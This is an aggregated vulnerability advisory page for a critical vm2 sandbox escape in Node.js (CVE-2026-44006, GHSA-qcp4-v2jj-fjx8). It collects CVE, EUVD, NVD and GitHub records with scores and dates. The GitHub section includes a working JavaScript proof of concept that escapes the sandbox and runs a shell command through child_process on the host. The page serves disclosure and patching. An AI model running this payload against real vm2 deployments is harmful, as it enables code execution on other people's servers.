GHSA-qcp4-v2jj-fjx8Published

vm2: Sandbox Escape

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-44006

Published

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

Source published: 13 May 2026 17:31:54 UTC
Source modified: 7 Sep 2026 12:04:57 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

euvd · EUVD-2026-30076

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 13, 2026, 5:31:54 PM

dateUpdated: Sep 7, 2026, 12:04:57 PM

1 related source bulletins · separate from aliases

RHSA-2026:50850: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

CVE-2026-9277 · CVE-2026-43997 · CVE-2026-43998 · CVE-2026-43999 · CVE-2026-44000 · CVE-2026-44001 · CVE-2026-44002 · CVE-2026-44003 · CVE-2026-44004 · CVE-2026-44005 · CVE-2026-44006 · CVE-2026-44007 · CVE-2026-44008 · CVE-2026-44009 · CVE-2026-45411 · CVE-2026-47131 · CVE-2026-47135 · CVE-2026-47137 · CVE-2026-47139 · CVE-2026-47140 · CVE-2026-47141 · CVE-2026-47209 · CVE-2026-48068 · CVE-2026-48801 · CVE-2026-59877

Source published: May 13, 2026, 5:31:54 PM (timezone not stated)
Source modified: Sep 7, 2026, 12:04:57 PM (timezone not stated)
Observed here: 7 Nov 2026 10:29:04 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

nvd · CVE-2026-44006

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-94 · CWE-914

Original publisher date fields

published: 2026-05-13T18:16:17.387

lastModified: 2026-10-26T17:10:03.270

1 source CPE criteria · context only

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 13 May 2026 18:16:17 UTC
Source modified: 26 Oct 2026 17:10:03 UTC
Observed here: 27 Oct 2026 11:12:09 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-qcp4-v2jj-fjx8

Published

### Summary It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes ### Details https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658 `BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8) ### PoC ```js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', }; let sym; obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1]; if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, }); obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('child_process') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ``` ### Impact Sandbox Escape -> RCE

Source published: 7 May 2026 03:54:34 UTC
Source modified: 14 May 2026 20:52:26 UTC
Observed here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL